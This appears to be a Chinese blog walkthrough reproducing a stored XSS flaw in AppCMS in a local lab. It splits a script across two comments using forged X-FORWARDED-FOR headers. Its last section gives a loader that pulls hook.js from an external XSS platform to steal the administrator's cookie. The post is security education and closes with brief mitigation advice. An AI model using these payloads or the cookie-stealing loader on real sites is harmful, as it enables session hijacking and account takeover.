Appcms存储型XSS漏洞复现
君衍.
- 一、环境介绍
- 二、环境部署
- 三、测试回显
- 四、多次注入
- 1、第一条评论
- 2、第二条评论
- 3、管理员登录查看
- 五、编写脚本获取cookie
一、环境介绍
这里需要注意,我没有找到原有的该环境源码包,因为这个是很久前的漏洞了,在XSS学习中可以查看下该漏洞,存储型XSS。准确的版本应该是2以下的,appcms1.3.890肯定存在该漏洞,可以进行复现。
这里很多文章都没有提及,也让我找了好久,害 (原源码包不好找)
当然,这里我们也是有机会使用别的版本进行复现的,那就是直接到数据库中改······
这也是没办法中的办法,源码可以在github中搜索,appcms进行下载,一般下载都是2版本以上:

所以,我们如果查看源码就会发现之前那个漏洞利用使用到了X-FORWARDED-FOR标头:

但是在这个版本中其实并没有用到这个请求标头:

所以这里原本使用伪造IP地址,我就要在文中直接进行数据库更改了,但是文中我尽量体现原有版本步骤,其实这里我用的是上方那个版本,使用伪造其实是不成功大的,同时,我也测试过加上这个请求标头,后来发现并不能通过改包实现对IP地址字段的更改,这里我还是在数据库中进行直接更改。
中间件选择使用Nginx以及Apache都行,不影响,数据库也一样。

二、环境部署
首先从github上下载源码,这个一搜appcms即可找到安装包,有个7年前的,一下载,然后解压到小皮的网站根目录下:

下面进行访问该目录,这里使用本机IP地址进行访问,不使用127.0.0.1,因为我们之后要进行抓包改包。

可以看到我这里IP地址为10.107.135.79,然后我们访问:
ip地址/appcms-master

点击开始安装:

点击下一步:

再点击下一步:

这里我们设置当前数据库的密码,从而使该网站连接到数据库,以及管理员的密码。 安全码设置不设置都一样,直接下一步:

可以看到安装完成,然后报错了不用管,不影响我们使用,这里猜测依旧是版本问题,问题不大。
然后我们点击管理首页:

这里说我们要改管理员目录的名称,随便改,我这里改为zy:

然后我们访问这个目录:

正确访问,方便我们之后使用,环境得先搞好,害。登录后即可环境配置完成:

我这里显示有点奇葩,不过问题不大,搞得能用。
三、测试回显
我们想要完成存储型XSS,那肯定是需要写入数据库当中,从而完成注入,所以这里我们使用该网站的评论功能:(找了半天也就这一个能用)

我们点击往下滑即可看到评论:

首先我们可以看到这里可以进行提交内容,同时评论一般情况下肯定在页面上进行显示的,所以我们先提交测试的,观察回显:
这里我们就提交一个注释吧,看能闭合掉不
第一次提交:*/
第二次提交:/*
账户什么随便填,我们主要观察回显的顺序以及内容:

点击提交:

再次提交第二个测试:

点击提交:

提交之后我们查看源码:

这里我们可以看到并没有完成闭合,但是评论回显是倒序出现的,同时中间夹着我们本机的IP地址,这个IP我们是否可以进行利用,从而配合我们的评论完成XSS注入。其实是可以的,这里我们需要用到X-FORWARDED-FOR来进行HTTP请求端真实IP伪造,通过这个字段将IP地址进行伪造为我们使用的payload。
思路确定了,我们使用多次注入的方式,同测试一样完成我们的闭合,即:
正常payload:
<script>alert(11111)</script>
达成的效果(将中间的代码注释掉):
<script>/**/alert(11111)/**/</script>
多次注入:
<script>/**/alert(11111)/**/</script>
将payload多次拆分,使用两条留言完成注入:
第一次:
内容:*/alert(11111)
IP伪造为:X-FORWARDED-FOR: */</script>
第二次:
内容:随意都行
IP伪造为:X-FORWARDED-FOR: <script>/*
四、多次注入
我们上面分析了注入思路,下面我们开始注入:
1、第一条评论

内容:*/alert(11111)
然后使用Burp进行抓包改包(伪造IP):

可以看到这里成功抓到,然后我们添加标头:
X-FORWARDED-FOR: */</script>

然后放通,即可看到留言成功:

当然,我们也可以在数据库中找到:

可以看到这里已经成功留言了:

2、第二条评论
第二次留言我们只需将其IP进行伪造就成:
X-FORWARDED-FOR: <script>/*

添加标头来伪造IP:

然后点击放通:

即可留言成功,观察数据库得:

3、管理员登录查看
这里准备工作已经做完了,我们只需要登录管理员账户查看评论管理即可:

查看评论管理:

很明显可以看到这里进行了弹窗,点击确定查看评论:

我们可以看到这里没有了zy3得评论,同时zy4账户IP消失了,这才是正确的界面,其他文章在此或多或少有错误。这里我们查看源码便可知道原因:

这里便可看到我们输入的第一条留言被注释掉了,所以无法显示。
五、编写脚本获取cookie
var scriptElement = document.createElement('script');
scriptElement.src ='http://172.16.100.1:3000/hook.js';
document.body.appendChild(scriptElement);
我们可以编写一串上面的代码,将远程的JS文件加载到当前页面中,远程JS位于我们的XSS平台,从而获取管理员的cookie。
同样使用上面的方式,多次注入:
第一次:
内容:*/var scriptElement = document.createElement('script');scriptElement.src ='http://172.16.100.1:3000/hook.js';document.body.appendChild(scriptElement);/*
IP伪造为:X-FORWARDED-FOR: */</script>
第二次:
内容:随意都行
IP伪造为:X-FORWARDED-FOR: <script>/*
这里便不再演示,我们直接看最后管理员查看评论管理:


我们刷新可以看到这里去请求了我们的XSS平台,所以我们获取到cookie后即可完成登录。

存储型 XSS 攻击就是攻击者通过在网站上存储恶意脚本代码,通常是在数据库中或其他数据存储位置,然后在用户浏览该网站时触发执行这些脚本,从而实现窃取用户敏感信息、劫持用户会话、篡改网页内容等恶意行为。防范存储型 XSS 的关键在于对用户输入进行适当的验证、过滤和转义,来确保用户提供的数据不会被误解为可执行的脚本。
相关文章:
Appcms存储型XSS漏洞复现
君衍. 一、环境介绍二、环境部署三、测试回显四、多次注入1、第一条评论2、第二条评论3、管理员登录查看 五、编写脚本获取cookie 一、环境介绍 这里需要注意,我没有找到原有的该环境源码包,因为这个是很久前的漏洞了,在XSS学习中可以查看下…...
springcloud-alibaba Sentinel入门
Releases alibaba/Sentinel GitHubSentinel下载官方 在cmd 里面运行 启动命令 java -jar sentinel-dashboard-1.8.6.jar 启动成功前提 java环境 ,已经注册到服务注册中心,8080端口没有被占用 启动后访问地址为 qhttp://localhost:8080http://lo…...
Linux系统——web服务拓展练习
目录 一、实验环境搭建 1. Centos 7-5——Client 2. Centos 7-1——网关服务器 3. Centos 7-2——Web1 4. Centos 7-3——Web2 5. Centos 7-4——Nginx 二、在Nginx服务器上搭建LNMP服务,并且能够对外提供Discuz论坛服务;在Web1、Web2服务器上搭建…...
SQLite3中的callback回调函数注意的细节
调用 sqlite3_exec(sqlite3*, const char *sql, sqlite_callback, void *data, char **errmsg)该例程提供了一个执行 SQL 命令的快捷方式, SQL 命令由 sql 参数提供,可以由多个 SQL 命令组成。 在这里, 第一个参数 sqlite3 是打开的数据库对…...
2024华北医院信息网络大会最新演讲嘉宾
大会背景 近年来,我国医疗行业信息化取得了飞跃式的发展,医疗信息化对医疗行业有着重要的支撑作用。2021年国家卫健委、中医药管理局联合印发《公立医院高质量发展促进行动(2021-2025年)》,提出重点建设“三位一体…...
指数移动平均(EMA)
文章目录 前言EMA的定义在深度学习中的应用PyTorch代码实现yolov5中模型的EMA实现 参考 前言 在深度学习中,经常会使用EMA(指数移动平均)这个方法对模型的参数做平均,以求提高测试指标并增加模型鲁棒。实际上,_EMA可以…...
无线表格识别模型LORE转换库:ConvertLOREToONNX
引言 总有小伙伴问到阿里的无线表格识别模型是如何转换为ONNX格式的。这个说来有些惭愧,现有的ONNX模型是很久之前转换的了,转换环境已经丢失,且没有做任何笔记。 今天下定决心再次尝试转换,庆幸的是转换成功了。于是有了转换笔…...
C# 视频转图片
在 C# 中将视频转换为图像可以使用 FFmpeg 库。下面是一个示例代码来完成这个任务: using System; using System.Diagnostics;class Program {static void Main(string[] args){string inputFile "input_video.mp4"; // 输入的视频文件路径string outpu…...
LINUX ADC使用
监测 ADC ,使用CAT 查看: LINUX ADC基本使用 &adc {pinctrl-names "default";pinctrl-0 <&adc6>;pinctrl-1 <&adc7>;pinctrl-2 <&adc8>;pinctrl-3 <&adc9>;pinctrl-4 <&adc10>;pinctrl-5 …...
Ubuntu 基本操作-嵌入式 Linux 入门
在 Ubuntu 基本操作 里面基本就分为两部分: 安装 VMware 运行 Ubuntu熟悉 Ubuntu 的各种操作、命令 如果你对 Ubuntu 比较熟悉的话,安装完 VMware 运行 Ubuntu 之后就可以来学习下一章节了。 1. 安装 VMware 运行 Ubuntu 我们首先来看看怎么去安装 V…...
Pytorch可形变卷积分类模型与可视化
E:. │ archs.py │ dataset.py │ deform_conv_v2.py │ train.py │ utils.py │ visual_net.py │ ├─grad_cam │ 2.png │ 3.png │ ├─image │ ├─1 │ │ 154.png │ │ 2.png │ │ │ ├─2 │ │ 143.png │…...
Mysql 表逻辑分区原理和应用
MySQL的表逻辑分区是一种数据库设计技术,它允许将一个表的数据分布在多个物理分区中,但在逻辑上仍然表现为一个单一的表。这种方式可以提高查询性能、简化数据管理,并有助于高效地进行大数据量的存储和访问。逻辑分区基于特定的规则ÿ…...
架构面试题汇总:网络协议34问(七)
码到三十五 : 个人主页 心中有诗画,指尖舞代码,目光览世界,步履越千山,人间尽值得 ! 网络协议是实现各种设备和应用程序之间顺畅通信的基石。无论是构建分布式系统、开发Web应用,还是进行网络通信&#x…...
lida,一个超级厉害的 Python 库!
目录 前言 什么是 lida 库? lida 库的安装 基本功能 1. 文本分词 2. 词性标注 3. 命名实体识别 高级功能 1. 情感分析 2. 关键词提取 实际应用场景 1. 文本分类 2. 情感分析 3. 实体识别 总结 前言 大家好,今天为大家分享一个超级厉害的 Python …...
K好数 C语言 蓝桥杯算法提升ALGO3 一个自然数N的K进制表示中任意的相邻的两位都不是相邻的数字
问题描述 如果一个自然数N的K进制表示中任意的相邻的两位都不是相邻的数字,那么我们就说这个数是K好数。求L位K进制数中K好数的数目。例如K 4,L 2的时候,所有K好数为11、13、20、22、30、31、33 共7个。由于这个数目很大,请你输…...
2195. 深海机器人问题(网络流,费用流,上下界可行流,网格图模型)
活动 - AcWing 深海资源考察探险队的潜艇将到达深海的海底进行科学考察。 潜艇内有多个深海机器人。 潜艇到达深海海底后,深海机器人将离开潜艇向预定目标移动。 深海机器人在移动中还必须沿途采集海底生物标本。 沿途生物标本由最先遇到它的深海机器人完成采…...
Vue/cli项目全局css使用
第一步:创建css文件 在合适的位置创建好css文件,文件可以是sass/less/stylus...第二步:响预处理器loader传递选项 //摘自官网,引入样式 // vue.config.js module.exports {css: {loaderOptions: {// 给 sass-loader 传递选项sa…...
【自然语言处理】【大模型】BitNet:用1-bit Transformer训练LLM
BitNet:用1-bit Transformer训练LLM 《BitNet: Scaling 1-bit Transformers for Large Language Models》 论文地址:https://arxiv.org/pdf/2310.11453.pdf 相关博客 【自然语言处理】【大模型】BitNet:用1-bit Transformer训练LLM 【自然语言…...
安装及管理docker
文章目录 1.Docker介绍2.Docker安装3.免sudo设置4. 使用docker命令5.Images6.运行docker容器7. 管理docker容器8.创建image9.Push Image 1.Docker介绍 Docker 是一个简化在容器中管理应用程序进程的应用程序。容器让你在资源隔离的进程中运行你的应用程序。类似于虚拟机&#…...
【MySQL】表的增删改查——MySQL基本查询、数据库表的创建、表的读取、表的更新、表的删除
文章目录 MySQL表的增删查改1. Create(创建)1.1 单行插入1.2 多行插入1.3 替换 2. Retrieve(读取)2.1 select查看2.2 where条件2.3 结果排序2.4 筛选分页结果 3. Update(更新)3.1 更新单个数据3.2 更新多个…...
【Python】 -- 趣味代码 - 小恐龙游戏
文章目录 文章目录 00 小恐龙游戏程序设计框架代码结构和功能游戏流程总结01 小恐龙游戏程序设计02 百度网盘地址00 小恐龙游戏程序设计框架 这段代码是一个基于 Pygame 的简易跑酷游戏的完整实现,玩家控制一个角色(龙)躲避障碍物(仙人掌和乌鸦)。以下是代码的详细介绍:…...
基于距离变化能量开销动态调整的WSN低功耗拓扑控制开销算法matlab仿真
目录 1.程序功能描述 2.测试软件版本以及运行结果展示 3.核心程序 4.算法仿真参数 5.算法理论概述 6.参考文献 7.完整程序 1.程序功能描述 通过动态调整节点通信的能量开销,平衡网络负载,延长WSN生命周期。具体通过建立基于距离的能量消耗模型&am…...
深入浅出:JavaScript 中的 `window.crypto.getRandomValues()` 方法
深入浅出:JavaScript 中的 window.crypto.getRandomValues() 方法 在现代 Web 开发中,随机数的生成看似简单,却隐藏着许多玄机。无论是生成密码、加密密钥,还是创建安全令牌,随机数的质量直接关系到系统的安全性。Jav…...
从零实现STL哈希容器:unordered_map/unordered_set封装详解
本篇文章是对C学习的STL哈希容器自主实现部分的学习分享 希望也能为你带来些帮助~ 那咱们废话不多说,直接开始吧! 一、源码结构分析 1. SGISTL30实现剖析 // hash_set核心结构 template <class Value, class HashFcn, ...> class hash_set {ty…...
涂鸦T5AI手搓语音、emoji、otto机器人从入门到实战
“🤖手搓TuyaAI语音指令 😍秒变表情包大师,让萌系Otto机器人🔥玩出智能新花样!开整!” 🤖 Otto机器人 → 直接点明主体 手搓TuyaAI语音 → 强调 自主编程/自定义 语音控制(TuyaAI…...
CRMEB 框架中 PHP 上传扩展开发:涵盖本地上传及阿里云 OSS、腾讯云 COS、七牛云
目前已有本地上传、阿里云OSS上传、腾讯云COS上传、七牛云上传扩展 扩展入口文件 文件目录 crmeb\services\upload\Upload.php namespace crmeb\services\upload;use crmeb\basic\BaseManager; use think\facade\Config;/*** Class Upload* package crmeb\services\upload* …...
iview框架主题色的应用
1.下载 less要使用3.0.0以下的版本 npm install less2.7.3 npm install less-loader4.0.52./src/config/theme.js文件 module.exports {yellow: {theme-color: #FDCE04},blue: {theme-color: #547CE7} }在sass中使用theme配置的颜色主题,无需引入,直接可…...
Ubuntu Cursor升级成v1.0
0. 当前版本低 使用当前 Cursor v0.50时 GitHub Copilot Chat 打不开,快捷键也不好用,当看到 Cursor 升级后,还是蛮高兴的 1. 下载 Cursor 下载地址:https://www.cursor.com/cn/downloads 点击下载 Linux (x64) ,…...
学习一下用鸿蒙DevEco Studio HarmonyOS5实现百度地图
在鸿蒙(HarmonyOS5)中集成百度地图,可以通过以下步骤和技术方案实现。结合鸿蒙的分布式能力和百度地图的API,可以构建跨设备的定位、导航和地图展示功能。 1. 鸿蒙环境准备 开发工具:下载安装 De…...
【深度学习新浪潮】什么是credit assignment problem?
Credit Assignment Problem(信用分配问题) 是机器学习,尤其是强化学习(RL)中的核心挑战之一,指的是如何将最终的奖励或惩罚准确地分配给导致该结果的各个中间动作或决策。在序列决策任务中,智能体执行一系列动作后获得一个最终奖励,但每个动作对最终结果的贡献程度往往…...
